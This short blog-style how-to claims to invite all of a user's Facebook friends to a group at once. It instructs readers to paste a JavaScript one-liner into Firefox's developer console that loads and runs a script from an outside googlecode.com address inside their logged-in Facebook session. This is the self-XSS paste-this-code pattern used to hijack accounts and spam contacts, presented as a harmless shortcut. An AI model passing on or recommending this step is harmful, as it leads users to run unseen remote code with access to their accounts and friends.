Facebook invite all friends in group by a single java script

Facebook Groups are best place for
discussion and talking with friends and
many people at same time. But If have
too many friends in profile and you find
it difficult to add all friends one by one
it is a wastage of time. So I find a Java
Script to Using this Script Add Facebook
Friends just few seconds.
If you want to add your all friends in
group by just one click then follow
all steps carefully.
1. Firstly open Mozilla Firefox.
2. Now Open your Facebook Group in
which you want to add your friends.
3. Then Press these Keys:- Ctrl + Shift +
K
4. Now Paste following Code:
document.body.appendChild
(document.createElement
('script')).src='http://facebook-
invite-all.googlecode.com/files/
facebook-group-invite-all.js';
4. Then press Enter and wait few
seconds.
After Press Enter a window will be
displayed and Your Friends Inviting Process
will Start.